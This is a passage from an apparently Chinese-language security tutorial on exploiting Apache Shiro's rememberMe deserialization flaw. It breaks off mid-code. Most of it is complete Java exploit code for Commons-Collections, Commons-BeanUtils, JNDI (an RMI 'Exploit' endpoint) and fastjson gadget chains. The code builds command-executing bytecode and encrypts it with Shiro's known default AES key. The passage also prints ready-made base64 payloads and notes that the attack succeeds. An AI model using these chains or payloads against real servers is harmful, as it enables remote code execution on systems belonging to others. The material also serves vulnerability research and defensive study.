        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime" +
                ".AbstractTranslet"));
        evil.makeClassInitializer().insertBefore(cmd);
        return evil.toBytecode();
    }
    // 反射设置字段值
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    // 生成恶意的Map类,作为gadget
    public static Map gadGet() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates, "_name", "evil");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry,"lingx5");
        setField(lazyMap,"factory",invokerTransformer);
        lazyMap.remove(templates);
        return map;
    }
    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CC321bytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV 随encrypt一起传输
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] enEvilbytes = cipher.doFinal(CC321bytes);
        // 拼接IV和加密后的CC321
        byte[] IVandEncrypt = new byte[IV.length + enEvilbytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(enEvilbytes, 0, IVandEncrypt, IV.length, enEvilbytes.length);
        String IVandEncryptB64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(IVandEncryptB64);
        /**
         * 模拟 shiro 的解密过程,反序列化验证
         */
        // base64解码
        byte[] IVandEncryptBytes = Base64.decode(IVandEncryptB64);
        // 拆分IV和加密后的CC321
        byte[] deIv = new byte[16];
        byte[] evil = new byte[IVandEncryptBytes.length - deIv.length];
        System.arraycopy(IVandEncryptBytes,0,deIv,0,deIv.length);
        System.arraycopy(IVandEncryptBytes,deIv.length,evil,0,evil.length);
        cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
        byte[] deEvilBytes = cipher.doFinal(evil);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(deEvilBytes);
        new ObjectInputStream(bais).readObject();
    }
}
AAAAAAAAAAAAAAAAAAAAAItICRDL55PQ4M+uF/0QjIxmsxx8mwO0zL+cCUsm9HObVST6ifzXbe1pfVhnBOcNB/avKvCNhZKKEkw8li0SSbf62ZGen2JxK9GPNTlXi10BCSiCCjUZj2I2OccLu/h/iBFMCuLAaK+Qzr6jV6+n8rm8vAp3o7q2HqBXHvAtciY4ur4CJ356Mme5jrqdtaI++cjAuJgvjG3cRsWrMSooPDeAci0crfFK+3Lj3yVUF1Hic+S2UG4nlsv9ixbN2kQ9h96YKRFwc+FVEtLlOyKCsf7cbvPwDlb8zQpfu9I5GlgAyBJ8HToAFRfx+Sc/sXdACA2nQail4+3eEQ+P2avZI0VYatZ4+OJzNUiGmZPWpRvjlaBvMQ4ywEjndwP9d8Ye+tPXJoO8L9bWbXbNk46rBqlO1u4BF0GpEYqwCs88gaQWYwo/aVvajl5hdyY1vBh0/kK2R3WoQ9j4mEBHUVF9de203eoiO+DaWsxmvZkeqpAzdt1EkJ7t1uC1bswdrSmGizBnQcwNK2+6AfRAXvq0ZRYNFWlY3o9rOEWrLX1ZKHbpqj8pJ9N8ikayN8rJwqWOElSs0hHBhEzUk5YzF5XhXpjR4ULmMThYBlQHLX+wk9VmuVQSeVXTXPJ7+vAzQLYkJvV0uJLjFno3A5rDykeW5MUUQJHUhxsrDg8OrfcX1IEx/3QOAFIDFjDD9tlSiiGIixoeldxGhH7YRUXaBjl0Xa853SKns8fllBz2e1nPgFcJ/Yatw0Qhegy8g6uEZqZ7F8G1zF1gwPFHkdpQXKNgpWhxFZOkH/1tXovTBZuaqbJ4syPirFodzUh/CH/7e78Tpj0yQjCONfoBKTzkFAa1omWgVagR16OU6hiTzHbtaDvqFR1nxirVdR0H7JfD6aJ5yXpB/30jbD4PQ6sBnNzoR5ojD/ioAWi3CIqhW2Jugl0XIiPQDLWdWwPm5A4xbgGjjZ4DoBAwNQum7zDAE/ebRDtCm8hRMLXuV8k/ol+icErvIKxn8P624MnaSbJLA6scXKEdKXpk2yvnbksKnHQQi8+KyVDDEUpOrahJDA2miMRZ/2VfOvrdxJVfkFsEiQvgYOfetu8gFTkSFTaNMFm7i/YTbgtBbb7o73w6E54Ma+W8Q4AQxz3Fcf7QozyPYbF2vEb0sGsGi2RwzRUy1mAW2+01ZwYt4JCIkfu6nfRVusLUr44AjuqbTuR+fkOdIu4vBwZfh0cFbhM8KrvoQP7QKl7dKPkbbfiNiQ7dd/RClsP5s7XqE87fyCD0eI5p8e1FkUIgOfJfG0wUZqYwyG17u2v94lR1eLoxxLK5L2xoB+6QrwFbRb+ccn4Gg6356YAgXL19XXCSR//2G+8aiYXAcTHZ4YaD+vTdDNFhqWztTakdfyGVihkFJIZKhchjhW2nSs5sx4ZjqEOVbpwL1ycsPxmf+blgZGOkGs/jzrK17XhQTqzSMg3UCdI4N1PHFwxUW29RH2aOsL4z/7VHQBpiBj5doFYtPNpxRfuo4HREJvMT7ApfhPiGPdla573/yooJy7iLqeg5kEYo+3PJ0FuLHmpwAky78IH29a/dIQIOn3fSa/CrbtgwkiQPGhtuLY2js1qkMHDiveiytMVGtYgMjfe/QHhaZG0+Dtv1ivKsR9SBANl3AC0sGxiDLW3+uhoqQOvPtP1+hE9gzd+pnl1eLLZ5eZ2ptFAXlf12wDDc73PiXIVHcifLuU7B5USkOGmG/XLDwJkhSDFvNcWbw3RjcgE=
可以攻击成功

CB 链攻击
shiro 默认是带了 commons-beanutils 依赖的

所以这条链更加通用
保证依赖版本一直
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.time.temporal.Temporal;
import java.util.PriorityQueue;
public class CB {
    public static byte[] getEvil() throws Exception {
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        evil.makeClassInitializer().insertBefore(cmd);
        return evil.toBytecode();
    }
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object gadGet() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates,"_name","evil");
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        setField(priorityQueue,"size",2);
        setField(priorityQueue,"queue",new Object[]{templates,"lingx5"});
        return priorityQueue;
    }
    public static void main(String[] args) throws Exception {
        // 序列化CB链
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CBbytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE,key,ivSpec);
        byte[] encryptBytes = cipher.doFinal(CBbytes);
        // 拼接IV和加密后的CB链
        byte[] IVandEncrypt = new byte[IV.length + encryptBytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(encryptBytes, 0, IVandEncrypt, IV.length, encryptBytes.length);
        // Base64编码
        String evilBase64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(evilBase64);
        /**
         * AES解密,模拟shiro反序列化
         */
        byte[] decode = Base64.decode(evilBase64);
        byte[] deIV = new byte[16];
        byte[]  deEvilBytes = new byte[decode.length - deIV.length];
        System.arraycopy(decode,0,deIV,0,deIV.length);
        System.arraycopy(decode,deIV.length,deEvilBytes,0,deEvilBytes.length);
        IvParameterSpec deIvSpec = new IvParameterSpec(deIV);
        cipher.init(Cipher.DECRYPT_MODE,key,deIvSpec);
        byte[] deEvil = cipher.doFinal(deEvilBytes);
        ByteArrayInputStream bais = new ByteArrayInputStream(deEvil);
        new ObjectInputStream(bais).readObject();
    }
}
AAAAAAAAAAAAAAAAAAAAAJE6IN+YLEO/t7NuQvYGo54pFMPmAy1jLjUdyV2cc+dKJ0aTntr18Yzsis+1QzDVvl+rnlJLeWPJuL0cSfWAzo+2No6vA3hYfiyY7N7bIdaAAkxZxFdOGUyPMfG4Vp2mmHjn+yS1RXTT9F5R0sGFblDzzZz+nZQsajao/gdRfw9L3y5N8MW8iFfeSugI+i7ayGvI5zma4flvI0+Ohs0e75iasXZ3R32UCQwCKgUnh0mU63auBEG0Cp2Ej402UIE3o7aDh4sYQ9eOPeErUZhxgVXPEwS0jSobopf1XLG+U84xHW/PZwmedp9fFUKZb43tRoIYEJbLbaoZ+6IPdiljQxyNIt1UKp9kTUdIRMfZbQ+XP0om/c4zO5gSMZGC5zkML5L8xyfEb8FRoTUVzIEu6OkWTfuTZNE2Iu6josCSaJfWqgeU+lSWLUO/U2h7+ysKZzIiT0OGvHNJPQuTbNtD4UNcqVnWslexMivy4j3jna/qJWiyL825Iup4xj+IUguTPEbANdN/QjG9kvMPF1H47HoRw8I77cM575xF8KiYJXqfOTMdfkCKBi79iLrHTuwwRwWav1WhXmKs8nwCL1w2R9qoaXvaDMDNGQKpO0XHGsEeLOI9I1tg9RHatCYclF0DMVqLGInN5ZBq8Rd7G+L5f72ijtdSOZfSAM4VPpUFEUZhhauKNW5DTqYDKfrJHQvWJawoXKp0vK0xQoTr45TcgMv6ChEUTb7f+K0Ehb9G0XYVFIhJhgqQD8O+fD4mHt2ae4Hzi+9Y+GZmSdLyq8iM3l0+j9Tvt//5CZSov9wE7BZmTY7YLgMP8dzNJfE5H42E+/Fh89GUOYW7EHTF+6ywmGfavFiO83Cm2LFGfyyiAW5VFZnEaafRiJWRmf+ig62Oxt+6j5OWe1YiViDwi6Uu9SYd2Ql1zTSqxwvMMUzBVyAafzgY2wsU32qS4P2nietjz7rhtmJh5UsNKDMeLnTjLSPfAYxmp+nyAw13Og5KpRqAimMNueU0gBfVwpkkd7MWSMyMNhuj1AsCcPUdnFQ8HON9w3y3DIbPoaOZxY/j327bnR4TZ2QGwe1D9dlw56wxRTaEpjFKwoLIRfqT53HF3A+O6SYvbw6L5Jsrkea7LFGwdL935eglE+/dlMDz//yOSfiX6jKvme9j3xfhSXeSrjZhGkCOdKea1XQRkm1B+dKx8CmIPY/IoGSTx8ayimutvGC9Kt/rijlE9uMv8K7ftrlPs8w021jPwqgN3LaZnEPAVjBrt1+8aJod+D1KS4qkmfUXTVt2/gjB+35VOo6+riVz9o3WWhs+/RoZH5DnuQFHPsIMqEnuN3QZI8KNOk/FVyG9cbrBlGf7M0wjMPd9/cU=

需要注意的是 BeanComparator 这个类的构造方法

看到
所以 payload 在初始化的时候,传入的是 AttrCompare
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
CB、CC-JNDI
目标可以出网的时候,我们可以利用 JdbcRowSetImpl 这个类进行 JNDI 的一系列攻击,在讨论 fasjson1.2.24 时,也有用到这个类进行 JNDI 的攻击,在 fastjson 中主要用到的方法是 setAutoCommit 去调用 connect() 方法,触发 JNDI 攻击。
事实上 connect() 方法在 JdbcRowSetImpl 中调用的地方还有很多

CC 链的 InvokeTransformer 具有反射调用任意方法的能力,而 CB 链的 PropertyUtil 具有调用 getter 方法的能力。这也成为了我们可以利用的点,如果目标采用高版本的 JDK,需要开启 trustCodeBase = true 。
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
我们先来看低版本 jdk7u80 没有做 trustURLCodebase 限制的版本
CBJNDI
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.PriorityQueue;
public class CBJNDI {
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        java.lang.reflect.Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object gadGet() throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Exploit");
        BeanComparator beanComparator = new BeanComparator("databaseMetaData",new AttrCompare());
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        setField(priorityQueue,"size",2);
        setField(priorityQueue,"queue",new Object[]{jdbcRowSet,"lingx5"});
        return priorityQueue;
    }
    public static void main(String[] args) throws Exception {
        // 序列化CB链
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CBbytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE,key,ivSpec);
        byte[] encryptBytes = cipher.doFinal(CBbytes);
        // 拼接IV和加密后的CB链
        byte[] IVandEncrypt = new byte[IV.length + encryptBytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(encryptBytes, 0, IVandEncrypt, IV.length, encryptBytes.length);
        // Base64编码
        String evilBase64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(evilBase64);
        /**
         * AES解密,模拟shiro反序列化
         */
        byte[] decode = Base64.decode(evilBase64);
        byte[] deIV = new byte[16];
        byte[]  deEvilBytes = new byte[decode.length - deIV.length];
        System.arraycopy(decode,0,deIV,0,deIV.length);
        System.arraycopy(decode,deIV.length,deEvilBytes,0,deEvilBytes.length);
        IvParameterSpec deIvSpec = new IvParameterSpec(deIV);
        cipher.init(Cipher.DECRYPT_MODE,key,deIvSpec);
        byte[] deEvil = cipher.doFinal(deEvilBytes);
        ByteArrayInputStream bais = new ByteArrayInputStream(deEvil);
        new ObjectInputStream(bais).readObject();
    }
}
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
开启对应的 RMI 和 http 服务
 

CCJNDI
package com.lingx5;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import org.apache.shiro.codec.Base64;
import java.util.Map;
public class CCJNDI {
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Object gadGet() throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Exploit");
        InvokerTransformer invokerTransformer = new InvokerTransformer("getDatabaseMetaData", new Class[]{}, new Object[]{});
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, jdbcRowSet);
        HashMap<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry,"lingx5");
        setField(lazyMap,"factory",invokerTransformer);
        lazyMap.remove(jdbcRowSet);
        return map;
    }
    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CC321bytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV 随encrypt一起传输
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] enEvilbytes = cipher.doFinal(CC321bytes);
        // 拼接IV和加密后的CC321
        byte[] IVandEncrypt = new byte[IV.length + enEvilbytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(enEvilbytes, 0, IVandEncrypt, IV.length, enEvilbytes.length);
        String IVandEncryptB64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(IVandEncryptB64);
        /**
         * 模拟 shiro 的解密过程,反序列化验证
         */
        // base64解码
        byte[] IVandEncryptBytes = Base64.decode(IVandEncryptB64);
        // 拆分IV和加密后的CC321
        byte[] deIv = new byte[16];
        byte[] evil = new byte[IVandEncryptBytes.length - deIv.length];
        System.arraycopy(IVandEncryptBytes,0,deIv,0,deIv.length);
        System.arraycopy(IVandEncryptBytes,deIv.length,evil,0,evil.length);
        cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
        byte[] deEvilBytes = cipher.doFinal(evil);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(deEvilBytes);
        new ObjectInputStream(bais).readObject();
    }
}
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

高版本
对于高版本可以选择用 JNDI 绕过的一些手法,我之前在 这篇文章 也讨论这个话题,这里就不过多赘述了
Fastjson 链攻击
我们在之前讲 fastjosn 的时候,审过这样一条链,具体可以看我之前这篇文章:fastjson 原生反序列化链
当目标有 fastjosn 在版本 1.2.48-2.0.26 之间时
我们写 payload, 导入依赖
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.24</version>
</dependency>
package com.lingx5;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.codec.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class fastjson {
    public static byte[] getEvil() throws Exception {
        String cmd = "Runtime.getRuntime().exec(\"calc\");";
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass("evil");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime" +
                                            ".AbstractTranslet"));
